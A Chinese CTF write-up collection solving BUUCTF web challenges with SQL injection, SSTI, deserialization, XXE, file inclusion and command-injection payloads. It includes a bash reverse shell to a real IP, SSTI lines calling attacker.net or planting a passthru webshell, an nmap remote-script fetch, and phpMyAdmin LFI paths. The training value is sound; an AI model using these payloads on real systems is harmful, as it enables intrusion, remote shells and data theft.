记录一些刷题的做法与思路
0x10 [CISCN2019
华北赛区 Day2 Web1]Hack World
sql注入,随便尝试一下,好多过滤or, and, union, update, ';', '-', '#', *, 空格
,这样子很多注入方法就没有用了,甚至闭合跟注释的符号都没有了,好在select跟()
都还在,空格能用()
来代替,异或符号也有,可以尝试布尔盲注
如果payload为id=0
会返回Error Occured When Fetch Result.
,为1就能正常查询,
尝试payload:0^(length(database())>5)
,正常查询
尝试payload:0^(length(database())<5)
,查询失败,说明布尔盲注成功
先尝试查询flag的长度,使用0^(length((select(flag)from(flag)))=42)
,这里的长度可以用二分法,很快就能查出
直接进行爆破
使用bp:
image-20230819014112280
设置好payload:
0^(ascii(substr((select(flag)from(flag)),1,1))=102)
位置从1到42,ASCII码从32到128,开始爆破就行
image-20230819020050826
长度493的就是正确的payload1就是flag字符位置,payload2就是ascii,bp需要挺长时间,这里没跑完
python脚本的就比较快
用python脚本(贴出别的师傅的脚本):按照的我的bp的思路,长度可以修改成42也可以
import requestsurl = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php" result = "" num = 0 for i in range (1 , 60 ): if num == 1 : break for j in range (32 , 128 ): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) data = { "id" : payload, } r = requests.post(url, data=data) r.encoding = r.apparent_encoding if "Hello" in r.text: x = chr (j) result += str (x) print (result) break if "}" in result: print (result) num = 1 break
0x11 [网鼎杯 2018]Fakebook
先正常试一遍功能,登录不行,尝试一下join
,blog需要特定的格式才能通过,使用http://www.baidu.com
能过,成功登陆进去后,点击用户能进入用户页面
image-20230826002203052
能看到,页面上是返回了我们输入的blog的链接的内容的,应该是用了curl_exec()
dirsearch扫出来存在挺多页面
flag.php view.php robots.txt error.php db.php login.php
去看一下robots.txt发现还有/user.php.bak
,下载一下
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
还发现有db.php
,肯定是数据库,试试会不会存在sql注入,点击用户的时候的链接是/view.php?no=1
,尝试一下no
参数
在找闭合符号的时候怎么都不对,忽然意识这个no
参数可能是int
类型,不需要闭合,所以不用闭合符号
尝试到no=1 order by 5
就报错了,所以字段是4个
使用no=0 union select 1,2,3,4
,返回了no hack ~_~
,有过滤
这里尝试了好久,发现用/**/
替换空格可以正常查询
image-20230826020042579
能看到2是正常显示出来了,所以可以在2
的位置进行注入,还是使用load_file(),no=0/**/union/**/select/**/1,load_file('/var/www/html/flag.php'),3,4
image-20230826020116640
成功查出来,其实也能用上面一题的方法布尔盲注爆破出来
但肯定是非预期,不然给的UserInfo
类就没用上了,能注意到上面的图片中的左上角是有unserialize()
函数的报错,所以可以知道,肯定有一个参数能进行反序列化,看一下wp,学习一下
先从information_schema
数据库里面把所有的字段查出来,语法就不多写了
image-20230828215435247
查看各个字段的内容,看看都是什么内容,注意到data
字段是UserInfo
类的序列化
:O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:10;s:4:"blog";s:20:"http://www.baidu.com";}
image-20230828222922849
再结合前面注意到的unserialize()
函数,猜测是从数据库里将序列化字符串取出后进行反序列化,可以看到data
字段是是在第四个位置,我们把data
数据放到4的位置看看会不会报错
image-20230829000700560
可以看到,确实正常了,curl指令是支持file协议的,可以读取文件,所以可以将blog的值改成file协议来读文件,就不用过isValidBlog ()
的检查
O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
image-20230829001342645
0x12 [BJDCTF2020]The mystery of
ip
打开没发现什么,点flag页面能看到自己的ip
image-20231031195912809
修改一下X-Forwarded-For
,确实可控,能执行xss
但是明显这里的xss
没有什么用
尝试一下,模板注入{{7*7}}
image-20231031202959611
成功注入,尝试{{config}}
看一下报错,是php的Smarty
的模板,去找这里 一条payload:{$smarty.version}
返回:Your IP is : 3.1.34-dev-7
,可以注入
直接读{system('cat /flag')}
在放一下网站里面的payload,记录一下
{$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3
0x13 [网鼎杯 2020
朱雀组]phpweb
点进去能发现一直在发请求
POST /index.php HTTP/1.1 Host: f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81 Connection: close Referer: http://f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81/index.php Upgrade-Insecure-Requests: 1 func=date&p=Y-m-d+h%3Ai%3As+a
页面上有报错信息,是关于data()
函数的,结合请求func=data
尝试一下传别的函数参数phpinfo
image-20231101011101420
回显hacker
,说明是使用了传入的函数,但是有过滤了,尝试一下读文件file_get_contents
func=file_get_contents&p=index.php
<?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
读到源码,ban了很多函数,读根目录的flag
也没有,读了很多东西,也没有什么
再仔细看给了一个Test
类,__destruct()
中可以直接执行call_usr_func
,想到使用反序列化函数unserilize()
class Test { var $p = "bash -c \"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\"" ; var $func = "system" ; } $a = new Test (); echo (urlencode (serialize ($a )));
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A53%3A%22bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F120.76.194.25%2F2323+0%3E%261%22%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
反弹shell多试几条
弹过来后在tmp目录下找到flag
image-20231101011749398
0x14 [BSidesCF 2020]Had a bad
day
修改一下传入的category
参数就能看到报错信息
image-20231102105839216
明显是使用了include
函数,去访问/flag.php
返回是200,存在这个文件的,同时ban了http://
跟data://
命令执行比较困难了,直接读index.php
来看看,报错能看出拼接了.php
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
传入的参数必须包含woofers
、meowers
与index
所以只要放入符合的字符串就可以了
都能读
<?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
一眼就看到了escapeshellarg
,escapeshellarg
这两个函数,明显是两个函数调用顺序引发的问题
简单来说就是escapeshellarg()
会转义一个单引号,但是escapeshellcmd()
又会把转义符号转义,让原本的转义符号失效,使单引号逃逸出来,与前面的单引号闭合,后面的字符串就能当成第二个参数进行拼接
也就是说,如果传参
经过escapeshellarg()
会变成
经过escapeshellcmd()
会变成
只要加入一个'
单引号就能造成逃逸,就能添加别的参数,使用一下payload:
' <?php echo `cat /flag`;?> -oG test.php '
然后再返回的路径下访问test.php就能读到flag
这里再记录一条nmap
的rce payload,从远程下载脚本运行
nmap -p 80 120.xxx.xxx.xxx --script http-fetch --script-args http-fetch.destination=/tmp,http-fetch.url=rce-script nmap --script /tmp/120.xxx.xxx.xxx/80/rce-script
0x16
[BJDCTF2020]ZJCTF,不过如此
<?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
使用伪协议能成功进入if
,去看看next.php
的内容
POST /?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php HTTP/1.1 Host : xxx... Content-Length : 14I have a dream
<?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
一下就看到preg_replace()
并且,正则匹配使用了/e
,同时第一跟第三个参数都是可控的,就是preg_replace()
相关的rce
了
这篇文章解释的很清楚 ,这里只简单记录一下
1、/e
会将preg_replace()
中会把第二个参数 当成php
代码来执行,在上述例子中即执行eval(strtolower("\\1"))
;
2、\\1
转移后就是\1
,在正则中\1
有自己的含义
对一个正则表达式模式或部分模式 两边添加圆括号
将导致相关 匹配存储到一个临时缓冲区
中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从
1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘’
访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
3、还有一个是php可变变量的问题 ,在php中双引号包裹的字符串可以解析变量,就像是py中的f"a{i}bc"
这样,${$a}
或者{${$a}}
就能解析相关变量,所以这个题目中,strtolower()
会把传入的参数转为小写,但是我们要执行的getFlag()
函数中有大写的字母,就可以用这种方法来绕过(${system('cat /flag')}
我尝试过,会报语法的错,所以还是用他给出的后门函数)
最后就是要找一个正则来把我们输入的所有字符串全部匹配出来,官方payload给的是/?.\*={${phpinfo()}}
,但是是行不通的,.
会被php转换为_
,不能全部匹配,所以用\S*
匹配任何非空白字符,所以最终的payload为
next.php?%5CS*=%24%7BgetFlag()%7D&cmd=system('cat%20%2Fflag')%3B
image-20231116100917445
0x17 [GXYCTF2019]禁止套娃
点进去什么都没有,扫一下目录,buu限制了扫描过快,设一下线程跟延时,可以发现有.git
的泄露,并且网站目录下还存在flag.php
使用githack
来读一下源码(这里真的坑,老版本的githack
根本拿不下源码,搞得我以为没有源码下载,后来去下了新版本才行)
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
能看到做了很多黑名单,首先第一层,不能存在条件里面的几个伪协议
第二层,传入的参数中,替换xxx_xxx()
的调用之后要剩下;
第三层,黑名单
关键在第二层,可以用无参数RCE
使用这条
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
image-20231128104325898
再保存多几条无参数的payload,挑合适的使用
eval (end (getallheaders ())); eval (next (getallheaders ())); eval (end (current (get_defined_vars ())));&jiang=phpinfo ();var_dump (getenv (phpinfo ()));show_source (session_id (session_start ()));var_dump (file_get_contents (session_id (session_start ())))highlight_file (session_id (session_start ()));readfile (session_id (session_start ())); 或者readgzfile ();修改cookie : PHPSESSID= filename eval (hex2bin (session_id (session_start ())));抓包传入Cookie: PHPSESSID=("system('命令')" 的十六进制) 当前目录:highlight_file (array_rand (array_flip (scandir (getcwd ())))); 上级目录文件:highlight_file (array_rand (array_flip (scandir (dirname (chdir (dirname (getcwd ())))))));
0x18 [NCTF2019]Fake XML
cookbook
打开是个登录框,先正常登陆一下,看一下传参
<user><username>aaaa</username><password>aaaaa</password></user>
明显的xml
传参,请求头中也说明是xml
,那很有可能是xxe
,不了解的可以先去这里 学一学
看一下接收请求的路由在doLogin.php
image-20231128202848018
这个aaaa
是我们传入的用户名,相应的时候又带出来了,猜测直接把参数返回来了,那我们可以试试自定义外部实体,读文件,改变username
的值,让他外带
传入payload
<!DOCTYPE foo [<!ENTITY example SYSTEM "/flag" > ]> <user > <username > &example; </username > <password > aaaaa</password > </user >
image-20231128203440193
成功外带
0x19 [GWCTF
2019]我有一个数据库
打开就只有一句话,dirsearch
扫一下,看到有phpmyadmin
image-20231129154140183
直接就能登录了,读写文件没成功
版本4.8.1
,找一下版本漏洞
phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../flag
以上两条payload
都能成功,%253f
是?
的两次url
encode,代码细节浏览器传参后会decode一次,后端代码还会进行一次decode,然后h会include()
,所以直接传参读flag就好
0x1A [BJDCTF2020]Mark loves
cat
打开是一个博客页面,但是多次多次尝试会发现就是一个单纯的博客页面,啥都没了,直接上dirsearch
扫,是有.git
泄露的
GitHack
拉一下源码,放一下关键代码
index.php
<?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
flag.php
<?php $flag = file_get_contents ("/flag" );
接下来代码审计,看看index.php
的关键代码的逻辑,
可以接收任何GET
、POST
参数,主要看那两个迭代赋值的if
,php
中,$$a
的意思是,变量名为$a
的值的变量
<?php $a = "test" ; $$a = "php" ;
当有参数传来时,就像下面一样:
$a = "test" ;$b = "bb" ;$test = "php" ;$test = "bb" ;
回到题目,只有GET
与POST
两个一起设置才不会die($yds)
,所以我们可以只设置GET
或者POST
,把$yds
的值改成$flag
的就能die()
出来
所以传参/?yds=flag
image-20231130010438505
0x1B [WUSTCTF2020]朴实无华
打开也没面仍是什么都没有,读一下robots.txt
,发现有
User-agent: * Disallow: /fAke_f1agggg.php
在/fAke_f1agggg.php
的请求头中有Look_at_me: /fl4g.php
内容:
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
先看level 1
,需要绕过intval($num) < 2020 && intval($num + 1) > 2021
这个
在PHP5中 ,intval()
在接收字符串的变量时,数字开头,然后跟着字母的字符串但是又不符合标准的科学计数法的字符串只会返回前面的数字的值,例如intval("12e4") == 12
;但是如果该字符串加上一个数字,则又能复原,例如,"var_dump("12e3"+1) == float(12001)
,所以level 1
中传参num=33e3
看level 2
,$md5==md5($md5)
双等号,是弱比较,$_GET['md5']
的值是字符串类型,md5()
的结果也是字符串类型,只需要找一个字符串以0e
开头,并且md5()
的结果也是0e
开头就能绕过这里,可以使用0e215962017
;传参md5=0e215962017
看get flag
strstr()
返回第一个参数中第二个参数后面的所有字符串,就是传参不能带有空格,str_ireplace()
不区分大小写,替换参数,就是不能带有cat
这个直接用more${IFS}/fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
,flag
文件名用ls
读当前目录就有了
最终payload
:
/fl4g.php?num=33e3&md5=0e215962017&get_flag=more${IFS}./fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
0x1C [BJDCTF2020]Cookie is so
stable
直接访问/flag.php
,输入的username
可以输出到页面上,可控,试试PHP的SSTI
,传参{{7*7}}
,页面上显示49,说明存在ssti
一开始输入的username
值保存到了Cookie
里面了,hint.php
里面也说了看看Cookie
,去浏览器的存储里面修改Cookie
{{_self}} {{_self.env}} {{dump (app)}} {{app.request.server.all|join (',' )}} "{{'/etc/passwd'|file_excerpt(1,30)}}" @{{_self.env.setCache ("ftp://attacker.net:2121" )}}{{_self.env.loadTemplate ("backdoor" )}} {{_self.env.registerUndefinedFilterCallback ("exec" )}}{{_self.env.getFilter ("id" )}} {{_self.env.registerUndefinedFilterCallback ("system" )}}{{_self.env.getFilter ("whoami" )}} {{_self.env.registerUndefinedFilterCallback ("system" )}}{{_self.env.getFilter ("id;uname -a;hostname" )}} {{['id' ]|filter ('system' )}} {{['cat\x20/etc/passwd' ]|filter ('system' )}} {{['cat$IFS/etc/passwd' ]|filter ('system' )}}
有些payload
被过滤了,全部尝试一遍,最后直接读文件,用这条:{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}
,更新Cookie
后刷新网页即可
image-20231202032625948
0x1D [安洵杯 2019]easy_web
请求参数很奇怪,像base64
,去看看,解2次base64
,一次hex
,是文件名字555.png
,换成bj.png
(css里面有写北京图片)再次请求,能成功加载到界面,换成/etc/passwd
没成功,直接读index.php
<?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixiï½ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url (./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
代码审计一下,
满足if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
这个条件后就能执行传入的参数cmd
,
这个使用了string
的类型转换,不能用数组绕过了,传入数组结果都是Array
,所以只能直接碰撞,找两个不同字符串,但是md5()
相同;cmd
的绕过用c\at
来绕过
因为会含有不可见字符所以直接用脚本传参了
import requestsimport base64, refilename = "index.php" .encode('utf-8' ) filename = base64.b64encode(base64.b64encode((filename.hex ()).encode('utf-8' ))) filename = str (filename)[2 :-1 ] cmd = "c\\at /flag" url = f"http://4721b6de-422e-4434-b965-a3613dd7b18c.node4.buuoj.cn:81/index.php?img={(filename)} &cmd={cmd} " txt1 = '''MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAMDpRq8biSJQ3n8YCIG5V6y6V2ggnQfskibeOcrVJBMRhP6j+NwsyqhrBkfyDuh4R0gc xmuW1i7FABu7ZL/E7jLH3FeaNRtW6nW2NCxtf/1qrF1NUSPmDd7LWv467AfiZ4ZsRpQE1gNOqExp 19/IZi4Uk2m4ysDfkKli/AeNamnT''' txt2 = '''MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAMDpRq8biSJQ3n8YCIG5V6y6V2ignQfskibeOcrVJBMRhP6j+NwsyqhrBkfyDmh5R0gc xmuW1i7FABu75L/E7jLH3FeaNRtW6nW2NCxtf/1qrF1N0SPmDd7LWv467AfiZ4ZsRpQE1gNOqExp 199IZi4Uk2m4ysDfkKli/IeNamnT''' data = {"a" :base64.b64decode(txt1),"b" :base64.b64decode(txt2)} req = requests.post(url,data=data) text = req.text print (req.status_code)grou = re.search(":image/gif;base64,(?P<name>.*)'></img><br>(.*)<br>(?P<name1>.*)\n<html>" ,text) print (grou.groups()[2 ])
0x1E [MRCTF2020]Ezpop
反序列化
<?php class Modifier { protected $var ; public function __construct ($a ) { $this ->var = $a ; } public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { echo "Test's con!" ; $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a = new Show ();$a ->source = new Show ();$a ->source->str = new Test ();$a ->source->str->p = new Modifier ("php://filter/read=convert.base64-encode/resource=/etc/passwd" );$b = serialize ($a );echo $b ;echo "\n" ;echo (urlencode ($b ));
没什么好讲的,注意入口点在__wakeup()
函数就好,进入__wakeup()
后的preg_match()
会触发source
的__toString()
,接着构造链子就行。
0x1F easy_serialize_php
<?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo (base64_decode ($userinfo ['img' ])); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
字符逃逸,通过filter()
可以对序列化后的字符串进行缩短
按照注释先去phpinfo()
看看
image-20240229212940170
那就读这个文件,extract()
可以变量覆盖,那就可以覆盖_SESSION
变量,注意默认是完全覆盖,之前的赋值就不存在了,所以我们直接构造就好了
_SESSION[user]=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=ZDBnM19mMWFnLnBocA==&_SESSION[function ]= ;s:3 :"img" ;s:20 :"L2QwZzNfZmxsbGxsbGFn" ;s:1 :"f" ;s:1 :"a
虽然_SESSION[img]
这个在这里没有用会被后面的覆盖,这里一起传参是为了固定参数的位置
后面的s:1:"f";s:1:"a
是为了补充序列化元素的个数的,因为覆盖了原来的_SESSION[function]
读取后就知道flag
在/d0g3_fllllllag
,直接读就有了
image-20240229222114081